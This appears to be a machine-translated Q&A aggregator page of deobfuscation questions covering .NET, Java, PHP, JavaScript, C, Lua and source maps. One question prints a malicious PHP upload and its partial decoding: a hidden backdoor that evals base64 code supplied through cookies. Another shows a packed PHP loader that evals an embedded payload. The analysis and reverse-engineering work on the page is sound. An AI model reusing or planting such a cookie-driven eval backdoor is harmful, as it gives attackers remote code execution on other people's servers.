标签: deobfuscation

确定反向代码是否被混淆或者不是

我可以访问我的客户端的旧managemnt系统,他想要添加更多.我能够联系最初编写主要DLL的人,然后我得到控制并开始围绕他们构建.但是现在,我需要延长原件,我别无选择,只能进行逆向工程.

我尝试了Reflector Pro和JustDecompile,但获得的源代码充满了错误.ILSpy工作得很好但是,这里是我从ILSpy获得的示例代码:

    private static object ParseIntoValue(string stringValue, string targetType)
    {
        if (targetType != null)
        {
            if (<PrivateImplementationDetails>{C6507306-5ECF-4D05-8EE4-BD4D7781AC4E}.$$method0x600080f-1 == null)
            {
                <PrivateImplementationDetails>{C6507306-5ECF-4D05-8EE4-BD4D7781AC4E}.$$method0x600080f-1 = new Dictionary<string, int>(12)
                {
                    ...
                };
            }
            int num;
            if (<PrivateImplementationDetails>{C6507306-5ECF-4D05-8EE4-BD4D7781AC4E}.$$method0x600080f-1.TryGetValue(targetType, out num))
            {
                object result;
                switch (num)
                {

                cases are here...

                default:
                    goto IL_2A6;
                }
                return result;
            }
        }
        IL_2A6:
        return null;
    }
Run Code Online (Sandbox Code Playgroud)

很明显,这里应用了某种形式的混淆.JustDecompile和Reflector Pro的反向代码完全没用.有了ILSpy,我就可以编译一些项目而不需要任何修改.

我需要帮助来识别这种混淆(如果是这种情况).最初的开发人员说他没有混淆.我不确定.

谢谢.

obfuscation .net-4.0 deobfuscation

3
推荐指数
1
解决办法
2214
查看次数

如何反混淆jar文件

是否有任何用于反混淆的开源工具?无法读取反编译文件,其显示类/方法为A/B/C等

java jar deobfuscation

3
推荐指数
2
解决办法
5004
查看次数

反渗透一些PHP代码

我正在尝试反混淆这个PHP代码:

<?php if(!function_exists("TC9A16C47DA8EEE87")){function TC9A16C47DA8EEE87($T059EC46CFE335260){$T059EC46CFE335260=base64_decode($T059EC46CFE335260);$TC9A16C47DA8EEE87=0;$TA7FB8B0A1C0E2E9E=0;$T17D35BB9DF7A47E4=0;$T65CE9F6823D588A7=(ord($T059EC46CFE335260[1])<<8)+ord($T059EC46CFE335260[2]);$TBF14159DC7D007D3=3;$T77605D5F26DD5248=0;$T4A747C3263CA7A55=16;$T7C7E72B89B83E235="";$T0D47BDF6FD9DDE2E=strlen($T059EC46CFE335260);$T43D5686285035C13=__FILE__;$T43D5686285035C13=file_get_contents($T43D5686285035C13);$T6BBC58A3B5B11DC4=0;preg_match(base64_decode("LyhwcmludHxzcHJpbnR8ZWNobykv"),$T43D5686285035C13,$T6BBC58A3B5B11DC4);for(;$TBF14159DC7D007D3<$T0D47BDF6FD9DDE2E;){if(count($T6BBC58A3B5B11DC4)) exit;if($T4A747C3263CA7A55==0){$T65CE9F6823D588A7=(ord($T059EC46CFE335260[$TBF14159DC7D007D3++])<<8);$T65CE9F6823D588A7+=ord($T059EC46CFE335260[$TBF14159DC7D007D3++]);$T4A747C3263CA7A55=16;}if($T65CE9F6823D588A7&0x8000){$TC9A16C47DA8EEE87=(ord($T059EC46CFE335260[$TBF14159DC7D007D3++])<<4);$TC9A16C47DA8EEE87+=(ord($T059EC46CFE335260[$TBF14159DC7D007D3])>>4);if($TC9A16C47DA8EEE87){$TA7FB8B0A1C0E2E9E=(ord($T059EC46CFE335260[$TBF14159DC7D007D3++])&0x0F)+3;for($T17D35BB9DF7A47E4=0;$T17D35BB9DF7A47E4<$TA7FB8B0A1C0E2E9E;$T17D35BB9DF7A47E4++)$T7C7E72B89B83E235[$T77605D5F26DD5248+$T17D35BB9DF7A47E4]=$T7C7E72B89B83E235[$T77605D5F26DD5248-$TC9A16C47DA8EEE87+$T17D35BB9DF7A47E4];$T77605D5F26DD5248+=$TA7FB8B0A1C0E2E9E;}else{$TA7FB8B0A1C0E2E9E=(ord($T059EC46CFE335260[$TBF14159DC7D007D3++])<<8);$TA7FB8B0A1C0E2E9E+=ord($T059EC46CFE335260[$TBF14159DC7D007D3++])+16;for($T17D35BB9DF7A47E4=0;$T17D35BB9DF7A47E4<$TA7FB8B0A1C0E2E9E;$T7C7E72B89B83E235[$T77605D5F26DD5248+$T17D35BB9DF7A47E4++]=$T059EC46CFE335260[$TBF14159DC7D007D3]);$TBF14159DC7D007D3++;$T77605D5F26DD5248+=$TA7FB8B0A1C0E2E9E;}}else $T7C7E72B89B83E235[$T77605D5F26DD5248++]=$T059EC46CFE335260[$TBF14159DC7D007D3++];$T65CE9F6823D588A7<<=1;$T4A747C3263CA7A55--;if($TBF14159DC7D007D3==$T0D47BDF6FD9DDE2E){$T43D5686285035C13=implode("",$T7C7E72B89B83E235);$T43D5686285035C13="?".">".$T43D5686285035C13;return $T43D5686285035C13;}}}}eval(TC9A16C47DA8EEE87("QAAAPGRpdiBjbGFzcz0iZGVyZQAAY2hhIG1pbmkiPmV4cGxvcgIgZXIgdi4wACA0PC8CsD4NCjxoEwAzPkUBxDwvANABMD9waHAgIFBJAABHVUk6OkNoZWNrSW5jKCk7QQAgABBmbHVzaADEaWYoaXNzZXQAACgkX0dFVFsnbG9jJ10pKSAgNCB7ApAkZGlyID0gAbkEEiADYl9mDxtpbGUoAkEDAQMZA3BuYW0BxAMhJAKxBKAKHGJhc2UBq30GcGVsc2UAcAciApQnJ/4HA3EB0AAwAfMB4gWQBGBnZXRjd2QMEwWlAxKYAQLQICAJEQJQcG9uZXJCYXJyYQozqAcFASAU0G8CEi4nPGJyIC8+AGMG0gGCbjBzA6ADQXkF4gXSATsgICQCAAJgc2NhbsQRCPAF0iA/IAdiOiAnLicWQXNvchUg0IACkADRZhtAYWNoKAOSYXMgJGl0ZVjYbRYjCRSQAPIgIT0DwhBwCQ6hAYBpc1+x/gYFLgJCFmpzW10IUAGCDaEPoRKDGIMUcQI/CcyMAnAAMCAgCTYGIHMgCUFzdWIAwAlkcHIAAGludGYoJzxhIGhyZWY9ImkEIG5kZXguJTA/b3A9KHUmYW1wOxAHaW1wDsBhZG9yPSVzJmEBICQgALAAACI+PGltZyBzcmM9IiVzIiACAmFsdD0iIi2FbWlkZGxlIhgRLwAYYT4gJXMgPHNwYW4B9y7xKCVzGBwpPC8BgRp1LCAkcGlfBzcBAAuDID2coBPxLicYkAxgJicgOhmSLjCESHRtbEUASG50aXRpZXMoJAOzKSwyZUljbwIAbignZm9sN2AucG5nJywgMTYDkCwgdHJ1ZQBjArADVCwgA9BzdHIoTDVzErUlbwLwF2FwZXJtBdAIcC4C1CkDgBf7LTQpILEJN7cYiwOhGJMAoRh9FK8Urz4Ub0NSgHAUYSAlLjJmIEtiFO0RdA+TcGFnZfzID38P0AvwMJIPXw9fci4Csg80LCAM4XNpesBAQLMBxCAvIDEwMjQRDz8+"));?>
Run Code Online (Sandbox Code Playgroud)

现在通过使用PHP格式化程序,我设法使它干净利落地显示.

<?php
if (!function_exists("TC9A16C47DA8EEE87")) {
    function TC9A16C47DA8EEE87($T059EC46CFE335260)
    {
        $T059EC46CFE335260 = base64_decode($T059EC46CFE335260);
        $TC9A16C47DA8EEE87 = 0;
        $TA7FB8B0A1C0E2E9E = 0;
        $T17D35BB9DF7A47E4 = 0;
        $T65CE9F6823D588A7 = (ord($T059EC46CFE335260[1]) << 8) + ord($T059EC46CFE335260[2]);
        $TBF14159DC7D007D3 = 3;
        $T77605D5F26DD5248 = 0;
        $T4A747C3263CA7A55 = 16;
        $T7C7E72B89B83E235 = "";
        $T0D47BDF6FD9DDE2E = strlen($T059EC46CFE335260);
        $T43D5686285035C13 = __FILE__;
        $T43D5686285035C13 = file_get_contents($T43D5686285035C13);
        $T6BBC58A3B5B11DC4 = 0;
        preg_match(base64_decode("LyhwcmludHxzcHJpbnR8ZWNobykv"), $T43D5686285035C13, $T6BBC58A3B5B11DC4);
        for (; $TBF14159DC7D007D3 < $T0D47BDF6FD9DDE2E; ) {
            if (count($T6BBC58A3B5B11DC4))
                exit;
            if ($T4A747C3263CA7A55 == 0) {
                $T65CE9F6823D588A7 = …
Run Code Online (Sandbox Code Playgroud)

php deobfuscation

3
推荐指数
1
解决办法
3534
查看次数

如何使用"[] [filter] [constructor] ..."对javascript代码进行反混淆处理?

众所周知,用"packer"和"eval"之类的东西混淆的混淆javascript代码很容易被互联网上提供的各种工具解码,但是最近我遇到了一段javascript代码,它被混淆了类似的东西[]['filter']['constructor'].....,似乎没有解码的解决方案.示例如下:

[]["filter"]["constructor"]("r" + "e" + "t" + "u" + "r" + "n" + " " + "e" + "s" + "c" + "a" + 211["toString"]("!0!0!01")[+true] + "e")()("" ["italics"]()[0])[true + true] + "N" + "S" + "S" + "{" + "I" + []["filter"]["constructor"]("r" + "e" + "t" + "u" + "r" + "n" + " " + "u" + "n" + "e" + "s" + "c" + "a" + 211["toString"]("!0!0!01")[+true] + "e")()([]["filter"]["constructor"]("r" + "e" + "t" + "u" + …
Run Code Online (Sandbox Code Playgroud)

javascript obfuscation deobfuscation

3
推荐指数
1
解决办法
1267
查看次数

javascript混淆作为构建过程的一部分

我见过在线javascript混淆工具.将这样的流程作为Web应用程序的构建过程的一部分运行,或者如何通常实现混淆是否可行或被认为是合理的?

是否更多的是手动创建javascript备份以与项目一起存储,然后在构建之前通过混淆器运行内容?看起来如果有一个ant任务可以包含在构建的一部分来为你处理它,这似乎很酷

javascript ant obfuscation build deobfuscation

3
推荐指数
1
解决办法
539
查看次数

从uglifyjs源地图中恢复javascript源代码

我正在逆向工程一个神奇的脚本。我有一个ug lified源代码和uglifyjs生成的源映射

有人知道有什么直接的方法可以从中获得至少部分可读的源代码吗?我发现了一些晦涩的方法,包括通过多种语言进行转换,但我希望能有更好的方法。

谢谢!

javascript obfuscation deobfuscation uglifyjs source-maps

3
推荐指数
3
解决办法
2127
查看次数

三元运算符作为命令?

nanodns源代码中,有一个非典型的三元运算符用于尝试减小代码的大小:

/* If the incoming packet has an AR record (such as in an EDNS request),
 * mark the reply as "NOT IMPLEMENTED"; using a?b:c form to save one byte*/
q[11]?q[3]|=4:1;
Run Code Online (Sandbox Code Playgroud)

这条线的作用并不明显.乍一看,它看起来像是为两个数组元素之一赋值,但事实并非如此.相反,它似乎是或者是一个数组元素,或者什么都不做(运行"命令" 1).

看起来它应该是这行代码的替代品(确实长一个字节):

if(q[11])q[3]|=4;
Run Code Online (Sandbox Code Playgroud)

字面上的等价物是这样的:

if (q[11])
  q[3]|=4;
else
  1;
Run Code Online (Sandbox Code Playgroud)

三元运算符通常用作表达式的一部分,因此将其用作独立命令似乎很奇怪.加上看似不合适的地方1,这条线几乎可以作为混淆代码.

我做了一个快速测试,并能够编译和运行一个C(++)程序,数据常量为"命令",如void main() {0; 'a'; "foobar"; false;}.它似乎是 一种nop命令,但我找不到任何关于这种用法的信息 - 谷歌 不太适合 这种 类型的 搜索 查询).

任何人都可以解释它究竟是什么以及它是如何工作的?

c c++ ternary-operator deobfuscation

3
推荐指数
1
解决办法
169
查看次数

这个1984国际混淆C代码竞赛如何赢得参赛作品?

我是C的新手,我急切地想知道这段代码的工作原理是什么?

int i;main(){for(;i["]<i;++i){--i;}"];read('-'-'-',i+++"hell\
o, world!\n",'/'/'/'));}read(j,i,p){write(j/p+p,i---j,i/i);}
Run Code Online (Sandbox Code Playgroud)

来源可以在这里找到:http://www.ioccc.org/1984/anonymous.c

以下是代码附带的提示:

不光彩的提及:匿名

作者太尴尬了他/她可以写这样的垃圾,所以我答应保护他们的身份.我要说的是,这个程序的作者与C编程语言有着众所周知的联系.该计划是古老的"Hello,world"计划的独特变体.阅读的内容可能就像写一样!版权所有(c)1984,Landon Curt Noll.版权所有.允许个人,教育或非营利性使用,前提是此版权和通知全部包含在内并保持不变.所有其他用途必须事先得到Landon Curt Noll和Larry Bassel的书面许可.

c deobfuscation

3
推荐指数
1
解决办法
876
查看次数

以前有没有人看过像这样混淆的代码?这是什么意思?

我拥有一个数字商品市场,供应商上传了这个文件,它是一个zip文件,但在Windows中显示为腐败.当我在linux中打开它时,我很震惊地看到文件本身是一个php文件,有人添加了.zip扩展名.

以前有人见过这样的代码吗?任何人都可以帮助我理解它吗?它是恶意的吗?

<?php
$pljd="ynvwnKynvcpLCBqb2luKGFynvcmF5X3NsaWNlKCRhLCRjKCRnvhKS0zKSkpKSk7ZWNobyAnPnvC8nLnviRrLic+Jzt9";
$seld="ZXBnvsYnvWNlKGFycmF5KCcvnvWnv15cdz1nvcc10nvvJywnL1xznvLycnvpLCBhcnJheSgnJ";
$cyvj = str_replace("w","","wswtwrw_wrwepwlwacwe");
$qxau="GEpPjMpnveyRrPSdzZXJhdGknO2VjaG8gnvJzwnLiRnvrLic+JznvtldnvmFsKnvGnvJhc2U2NF9kZWNvZGnvUocHJlZ19nvy";
$gewk="JGnvM9J2NvnvdW50JznvskYT0kX0NPT0tJRTnvtpZihyZnvXNldCgknvYSk9PSdtYSnvcgJiYgJGMoJ";
$thyw = $cyvj("bi", "", "bibabisbie64bi_dbiebicbiobidbie");
$iign = $cyvj("x","","xcxrxexaxtxex_funxctixon");
$xzfy = $iign('', $thyw($cyvj("nv", "", $gewk.$qxau.$seld.$pljd))); $xzfy();
?>
Run Code Online (Sandbox Code Playgroud)

这是我到目前为止所拥有的.

<?php
$pljd="ynvwnKynvcpLCBqb2luKGFynvcmF5X3NsaWNlKCRhLCRjKCRnvhKS0zKSkpKSk7ZWNobyAnPnvC8nLnviRrLic+Jzt9";
$seld="ZXBnvsYnvWNlKGFycmF5KCcvnvWnv15cdz1nvcc10nvvJywnL1xznvLycnvpLCBhcnJheSgnJ";
$cyvj = str_replace("w","","str_replace");
$qxau="GEpPjMpnveyRrPSdzZXJhdGknO2VjaG8gnvJzwnLiRnvrLic+JznvtldnvmFsKnvGnvJhc2U2NF9kZWNvZGnvUocHJlZ19nvy";
$gewk="JGnvM9J2NvnvdW50JznvskYT0kX0NPT0tJRTnvtpZihyZnvXNldCgknvYSk9PSdtYSnvcgJiYgJGMoJ";
$thyw = $cyvj("bi", "", "base64_decode");
$iign = $cyvj("x","","create_function");
$xzfy = $iign('', $thyw($cyvj("nv", "", $gewk.$qxau.$seld.$pljd))); $xzfy();
?>

$xzfy = create_function(base64_decode(JGM9J2NvdW50JzskYT0kX0NPT0tJRTtpZihyZXNldCgkYSk9PSdtYScgJiYgJGMoJGEpPjMpeyRrPSdzZXJhdGknO2VjaG8gJzwnLiRrLic+JztldmFsKGJhc2U2NF9kZWNvZGUocHJlZ19yZXBsYWNlKGFycmF5KCcvW15cdz1cc10nJywnL1xzLycpLCBhcnJheSgnJywnKycpLCBqb2luKGFycmF5X3NsaWNlKCRhLCRjKCRhKS0zKSkpKSk7ZWNobyAnPC8nLiRrLic+Jzt9))

$c='count';$a=$_COOKIE;if(reset($a)=='ma' && $c($a)>3){$k='serati';echo '<'.$k.'>';eval(base64_decode(preg_replace(array('/[^\w=\s]'','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));echo '</'.$k.'>';}
Run Code Online (Sandbox Code Playgroud)

php obfuscation deobfuscation

3
推荐指数
1
解决办法
428
查看次数

如何反混淆Lua脚本?

local script= string.dump(
    function()
        print('Hi')
    end
)

buff=""

for v=1,string.len(script) do
    buff=buff..'\\'..string.byte(script,v)
end

print(buff)  
Run Code Online (Sandbox Code Playgroud)

脚本变成字节码,任何想法如何逆转它?

string obfuscation lua byte deobfuscation

3
推荐指数
1
解决办法
1126
查看次数